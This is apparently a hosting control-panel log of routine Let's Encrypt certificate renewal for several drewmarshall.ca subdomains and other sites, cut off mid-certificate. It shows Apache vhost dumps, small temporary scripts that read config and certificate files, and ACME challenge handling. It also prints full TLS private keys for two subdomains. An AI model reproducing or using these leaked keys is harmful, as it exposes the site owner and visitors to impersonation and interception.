         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-11-10 06:02:04: 

PUT: /tmp/pkp823068

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:02:04: 

chmod 755 /tmp/pkp823068; /tmp/pkp823068; rm /tmp/pkp823068

2025-11-10 06:02:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf	1308

<VirtualHost *:80>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	preacheridol.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt
    DocumentRoot	/var/www/drewmarshall_preacheridol
    <Directory /var/www/drewmarshall_preacheridol>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/preacheridol_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/preacheridol_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-11-10 06:02:04: 

PUT: /tmp/pkp950524

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-10 06:02:04: 

chmod 755 /tmp/pkp950524; /tmp/pkp950524; rm /tmp/pkp950524

2025-11-10 06:02:04: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/dedbbb759062bdb197a5a897ec5601b7.crt	5385
19:92:55:d3:00:75:37:09:e6:ec:07:92:9e:8e:6e:ed

-----BEGIN CERTIFICATE-----
MIIFFTCCA/2gAwIBAgISBjQke0/hB1drBJsVQ2ZTdnB4MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzMyWhcNMjYwMjA4MDUwMzMxWjAnMSUwIwYDVQQD
ExxwcmVhY2hlcmlkb2wuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAyzQDAIaPdCfOeVEBFDwxNClKXVSjCKYMrjHhGVoO3SVZ
E++kpSBGotkyvyodvvIgIg0NrOaPqwODSgqhu/G+cA1REK3+at+mKhUWC90tx4dr
yMjXqBZeocXGuxuzFZzwNjcQCzymjJvnnHszElQqKAXJ1SPuw1atzClVq/pYtGRz
iotdTnGQ2rKpXySAb7lub3qYcxmzLdMBcc8Gf2qxyPbb0F5+/uu3aiKcKpCR4naf
ZwjR3XV7F+N7I9jwiJhTZc6EqNMbcS2pSHeVZyZZGs/xHZ5B9DcY5LYqensZTv8Y
zWBab27xRlRsnAAAB9cX7CwoTsqhHfcLknUSZHciswIDAQABo4ICLTCCAikwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBTFyW2RHoXgx+J94nH806GOKLtkjjAfBgNVHSME
GDAWgBTnq58PLDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTMuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHByZWFj
aGVyaWRvbC5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYD
VR0fBCgwJjAkoCKgIIYeaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8xMjEuY3JsMIIB
BAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer
6v7VA8l9zfAAAAGabFttjwAABAMARzBFAiAosGt3E3fnADJ9VDZVAN2xJHsOxrOk
JMNsPoX+BBf+jgIhAMDjly+Ld+PLA+8fTwB/z10SA+ritW8vZ5KUITtgtMd0AHYA
DleUvPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGabFttkAAABAMARzBF
AiEAijo6bL6e6MEswuvgUA6iaeJyFE2PmegPXhTTkhuJBcECIDQ/l3N94IrOX9UF
PPuqtIA0QeVMCFsVVU6X0gVRDgk1MA0GCSqGSIb3DQEBCwUAA4IBAQBc5mGZM6Qe
8Gsv0vBVv8x8wcWbBmUtkKQbs5q2tLRtwekK0s92WcKlK2JiJlB1ofsCJUWO70BG
26UP9AQmyYqZbi3Neg6DhRrT2A8v4uFwUv/9C1KWYAbpROymH8CDIyhRMkuoDsRR
z82whh6rkwCNvNFLMNp49uBpRvxvt0QjK3x8upe8Abo5RddhtiNkgvwhlsnjU7Fq
slq9m/t3hSbLotx0spNKtbe8kDGGWAQxEfCZguYPNO7KnRkYbK1zbDTcK1pgEsVc
c5ez+ds/wGgfGtLeDqak39surlFgoKL5aUQi1vQ+HEH2c7fTdPTPdejW5EQ4g23z
0TFl7PCQA+TX
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDLNAMAho90J855
UQEUPDE0KUpdVKMIpgyuMeEZWg7dJVkT76SlIEai2TK/Kh2+8iAiDQ2s5o+rA4NK
CqG78b5wDVEQrf5q36YqFRYL3S3Hh2vIyNeoFl6hxca7G7MVnPA2NxALPKaMm+ec
ezMSVCooBcnVI+7DVq3MKVWr+li0ZHOKi11OcZDasqlfJIBvuW5vephzGbMt0wFx
zwZ/arHI9tvQXn7+67dqIpwqkJHidp9nCNHddXsX43sj2PCImFNlzoSo0xtxLalI
d5VnJlkaz/EdnkH0Nxjktip6exlO/xjNYFpvbvFGVGycAAAH1xfsLChOyqEd9wuS
dRJkdyKzAgMBAAECggEAJzqHSdawYxA8QBdvSeTE6vj9rj7kqorD7+0ZM7e7Ht5S
8BJXirlMaavcrCMJUw+TPH+goDxyh+VJt0WOK6ZjyWYIvFuavi8m+QDRHME6UUbH
fB+p4n1PD5QK5ZxXWljN1umSY1j2HjcK4561IVi2OrvDVy50ralSLBPewjC2ZzyV
FZGZEZ1sP31vRYC/84HLYc7pSk669nUZge6zU1QUp93TaQRGOc8vvv3xg8Qno7ZZ
KJb8kRa9doWct5FUw6mnDImEKozWcY80Q9XLnDuAQ6fztAdFfLroBdb7m/6+K7Cw
hCKKlGgpkmkpVcN7YPbjlo/5NumYXPYhBWSNB4VlIQKBgQDvt/NpDjgbNaTM9Nej
+oyGvtpAsVpgpOV3EfoBhPedRxDQ8nfXQW5PLGKAx8oGNTzgrnE2RK1fQEp1yZXR
jskjlwo/LLf+995S0d9sClPsIQ5x32/JdI08HqtqB31L2dgIJTAU4BujZdf4IWyD
3ESnRcsMG3pD+WiJqAzlBPMqhQKBgQDZASiIddWgw9tNGXHmfRJhbOrnJoMUmE3v
kE722rwVpD8Ba7T52Q93AiXAio/tC453mZdCuk2Z6iaX0pKDJ305jn4BQSoQcmWj
nVIpzqK+k3LXI7x7fkeXUMk+z4jOdedyAY+PJtza5V4wrST8Ci469clHcVW4Yv0b
THgnTSzJ1wKBgA2PLyKDHmNTnnXFZ6kr0+UPSJMeNQmAakZY6vZJCiSIT4gyHts7
JT0vOockReYh/saKt3alXdUkctHEzEelNvVfZsH6CpJOfPHcUzHuR570o7eHNvCD
OjXrWjDOKaUvtkuHpveXUZjletjbMyMmQ2/ev8R4jWro4aPfsJMHu6VtAoGAYHYP
WnlmuMvXE/KXmulF3mDYGmAYLHN3UWJId5rLuKMGDs+d5uIB6djehzQQvkJA1hFE
F7lQ/XYEKcDEt+A53fflMxGQbTcszwoDl+nuleBdUBzmj86WbEDQ9Ea0fXITq63d
7rhLvFHxCJousoqj+jl/e255uDjoYdYgIvg/TIkCgYA9CqThRnOoYqbKdTEUQc8u
YCE/pq69kAyThpcbasCqeJpqbAiJyhgJ4ctiGVI6x8Wu4lXXG/D9fE8lWWkW4qEg
G+h5y9kpkkde5tLAhTnce+Lf+54B9r3nZmY+4KuFdJjY+uiRr/tV+VEjKGOKUAzu
vkIsJ5raAtDkM4zHXMEHng==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-11-10 06:02:04: Establishing a connection
2025-11-10 06:02:04: Establishing a connection
2025-11-10 06:02:04: 

PUT: /tmp/pkp929259

#!/bin/bash
if [ -d "/var/www/drewmarshall_datinggame/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:02:04: 

chmod 755 /tmp/pkp929259; /tmp/pkp929259; rm /tmp/pkp929259

2025-11-10 06:02:04: 


1


2025-11-10 06:02:05: Establishing a connection
2025-11-10 06:02:05: 

PUT: /tmp/pkp873865

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cat > 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo


2025-11-10 06:02:05: 

chmod 755 /tmp/pkp873865; /tmp/pkp873865; rm /tmp/pkp873865

2025-11-10 06:02:05: 




2025-11-10 06:02:15: Establishing a connection
2025-11-10 06:02:15: 

PUT: /tmp/pkp158343

#!/bin/bash
mkdir -p "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_datinggame/.well-known/acme-challenge/"
rm 5UvsAqWN4h6XLpyl81595_KPOy34IDdEVjSyY3D9hzo


2025-11-10 06:02:15: 

chmod 755 /tmp/pkp158343; /tmp/pkp158343; rm /tmp/pkp158343

2025-11-10 06:02:15: 




2025-11-10 06:02:15: Establishing a connection
2025-11-10 06:02:15: 

PUT: /tmp/pkp906288

#!/bin/bash
temp_file=$(mktemp)
TARGET=23de9e4d8d79bf04b5d6fc34a21a5b07.crt

cat > $temp_file <<'endmsg'
65:25:31:95:1a:17:49:99:3f:74:98:e6:0a:c1:e4:20

-----BEGIN CERTIFICATE-----
MIIFDzCCA/egAwIBAgISBgy3n7JGja9bQZXKnbfHGW7SMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzQ0WhcNMjYwMjA4MDUwMzQzWjAlMSMwIQYDVQQD
ExpkYXRpbmdnYW1lLmRyZXdtYXJzaGFsbC5jYTCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAL91SXs3+h5RiZJmQG00oIVyJGNEDO/Ut8uLhOhgroo9f+2P
vdiYM8bTRW9C1oHZeKfjaEod/ZG3Z/t280T1It11lGH4y40S/XOnrrZ0AALt+GGq
KWabSFdIBclnhs5HF9bPQAbjzBvGbcacPMiG+r+2e/1gW3elE9pHUKfZKAZLn5Ic
RqNQnsHAJJ4SFNU9Hsd00AwQ3P3LOcizyu9OORuyuIq0zi6KDB0PfZa8hWMtulv2
f49C7SF7wRPhAVmUpp8EodWwA7a2q/Ylw1FiylZ9aUJwZLXxitS8rM7LBjm4DVIU
0M1Bk3J/cS5XpICfTIDiSUvuYV/pM2QqtZ8jqbECAwEAAaOCAikwggIlMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQU7KNi8IBDFfKheDPkznk/TaDyMUowHwYDVR0jBBgw
FoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpkYXRpbmdn
YW1lLmRyZXdtYXJzaGFsbC5jYTATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzgzLmNybDCCAQMGCisG
AQQB1nkCBAIEgfQEgfEA7wB2ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0l
TMfUAAABmmxbnMQAAAQDAEcwRQIgbagBKBS8FNohmxFqdUfcplnpN/zcQt/o1Bpg
bEIsxg4CIQDEybLwCSDxO6BhIEIF76B+DMx7neaHGsi6lNifQApNjgB1AA5XlLzz
rqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmmxbnMMAAAQDAEYwRAIgenJQ
CsgPuINkjWZS9KOH+6xl1ef8sJ0wW2ZVyfax988CIECN+IZJUxVK31ePWhcUOFiK
gUQqsyf2MO0/W/tW7/KDMA0GCSqGSIb3DQEBCwUAA4IBAQCJfBzup5Glk4YmEh7L
UsogjA6jxH1KlNBtfXrczttFGr+GnmC5268YwvCZ06d1rmlFJ6mvRtj0lbwodS+u
ATHZm3FTL9SIJ924wrQ3JEy4CFIA9tdBCPo7nbwVK1KgL6/5OxJtslu15HvYcA0Y
kwT+wQNB9EwmIE44GIkqeB4gHzRin1geeQ+DwVDhTF6ant7gs3EctHUNznfRcKfZ
9DuaXi3d1DN2xj7nkeF39i9EvbcriiwJc7aEokGkMYvPE+n+4y26Q8kEHShSDgLi
zoAoCM7t32h9cCAD3lfSfu6//0PhBdQQWUIc9VZWCsXIlIY+4VNnSYo8l/xFBNhh
CrDP
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/dUl7N/oeUYmS
ZkBtNKCFciRjRAzv1LfLi4ToYK6KPX/tj73YmDPG00VvQtaB2Xin42hKHf2Rt2f7
dvNE9SLddZRh+MuNEv1zp662dAAC7fhhqilmm0hXSAXJZ4bORxfWz0AG48wbxm3G
nDzIhvq/tnv9YFt3pRPaR1Cn2SgGS5+SHEajUJ7BwCSeEhTVPR7HdNAMENz9yznI
s8rvTjkbsriKtM4uigwdD32WvIVjLbpb9n+PQu0he8ET4QFZlKafBKHVsAO2tqv2
JcNRYspWfWlCcGS18YrUvKzOywY5uA1SFNDNQZNyf3EuV6SAn0yA4klL7mFf6TNk
KrWfI6mxAgMBAAECggEBAL4USpy7qWV6XBPt0l7ZVdjGxpuKzzE4RjUd0hkHC6IR
hrWq9LdZ/GWUESZx/Bc0elZsLnkPJ1UI+oIsyT6YBUJK3sMZx7TKuridLJbVucEu
017bGnlVB1AoIB6h2rNm36MTZaSxek3FBe2d5bbMU5wMJzMZ/BVf3cLi9I9/x/3e
VO3FnefE+k4pFFlrzFCznvAf6GjZ7SODCW+Y+u3ipGFpidhwofObsfmOGISxk4be
rZer54OafbFzaxchnIVqj+6/P/qZyoKz+qRHroHWu8AfCW8jNPawNTHRa6S/Wtg8
HDpWBGAcnbjT47sHMmY5o7HJIq6rp81ZANEZ/+GNCkECgYEA4HWAhjeH2k1jGr+q
fAxwUoXTDEI1uabXq6rd6MKupufFY/+PnCNvkzJmcGkwGoR2jebLDgDFOD+yI0lU
e4m2W/lqAnLXfKLAf5kZTnYVchNy37VpNxwtHG3IVBjXLJpUDFdw8Wz0487C4FBh
P53Zp7NXjpOg+cIXzG2IyqSRbZkCgYEA2lykA/Ki/eDgTNwoUJ6HFlw52RA9S/I5
DgmOJ62iXBFFpsh5jdvJxdv49R5+oEaG900FE8h0WFyfgMSZ4LseB5DgTd0Bg1+m
8T8F4/0/j093nK0Kb34aXJ41Y+toMxhqt96vMX5AzfINCl6XHywWfqLlcCRIvI4W
qDeVmlanu9kCgYAkBfeoksT03jKnmlcsLXrhY6TpdL7WmtZGMNgIgSYyl0PwtpU/
w9gmUZJrPBaCSvwT7hRsnOcKDf7y9tPeN83SmQbQecnnsN8gG1waYY0zj7eB+8V1
GMqMo3nhNVNjTylqCaaQuKHc5dQU2BGjehvydC/7K+pL60CSiInJq/vDEQKBgQCu
2PFoS9hhi7hvMvaBH38x02VqvwsmDe3LpLEUan+QUzA/jVVv1ucpLKubsvBX7EFU
MnL3VVJ8EqaRmFtSzOIN0t8Y2ffFN0lY8UsJNRa47Tvs086AWixHr1M3EB+eklWZ
p5EHA35mqgPxIq7Fgir8+fjYI+WuPeQ8jE2ZiPvEeQKBgH309YTCmSN5nUgOKTPQ
AdyQum1QUI/UughIyzH4D8bCQ76DoJICHSrUGfmJYwZMPXcVPbniRgQMl0BRUylI
UTxpLvWM8DPya/yXzESS1oa3CFz4V4r8Ywuul1NWcykJqC2Ju+g+7py0eZl33uBp
GgPdLOkOcQ1rU56jZA1mEa3/
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
